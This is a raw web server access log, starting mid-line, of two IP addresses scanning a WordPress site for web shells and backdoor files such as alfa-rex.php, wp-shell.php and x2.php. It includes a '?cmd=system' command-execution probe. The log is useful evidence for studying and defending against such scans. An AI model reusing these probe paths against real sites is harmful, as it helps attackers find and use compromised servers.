/wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:38 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:42 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:45 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:49 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:54 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:57 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:00 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:03 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:08 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:15 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:20 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:23 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:27 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:28 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:30 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:33 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:35 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:36 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:38 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:39 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:40 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:40 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:41 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:41 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:42 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:43 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:43 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:44 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:45 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:45 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:47 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:47 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:48 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:48 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:50 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:50 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:51 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:53 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:54 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:56 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:56 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:55:57 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:55:59 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:00 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:00 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:01 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:02 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:04 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:05 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:06 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:07 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:08 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:10 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:10 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:12 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:13 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:15 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:16 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:18 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:18 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:19 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:20 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:22 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:23 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:26 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:27 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:28 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:30 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:30 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:31 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:32 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:33 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:34 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:35 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:35 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:35 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:37 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:37 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:39 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:40 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:41 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:41 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:43 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:43 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:44 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:45 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:45 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:46 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:47 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:48 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:48 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:50 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:50 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:51 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:51 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:52 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:52 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:53 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:53 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:53 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:54 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:54 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:55 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:56 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:56 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:56 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:56 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:57 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:57 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:57 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:58 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:58 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:56:59 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:56:59 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:00 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:00 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:00 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:01 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:01 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:02 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:03 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:03 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:04 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:04 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:05 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:05 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:06 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:06 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:07 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:07 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:08 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:09 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:09 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:09 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:09 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:10 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:10 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:10 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:11 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:12 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:13 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:14 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:14 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:16 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:16 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:18 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:19 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:21 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:21 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:23 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:23 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:28 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:28 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:33 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:33 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:35 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:36 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:38 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:38 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:40 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:40 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:41 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:42 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:42 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:43 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:43 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:45 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:46 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:47 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:48 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:48 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:50 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:50 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:51 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:52 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:52 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:53 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:54 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:55 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:56 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:56 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:57:58 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:57:58 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:00 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:00 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:02 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:03 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:05 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:05 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:06 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:11 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:11 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:14 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:15 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:17 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:17 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:19 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:20 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:23 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:24 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:26 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:26 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:27 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:28 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:29 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:30 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:30 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:32 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:33 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 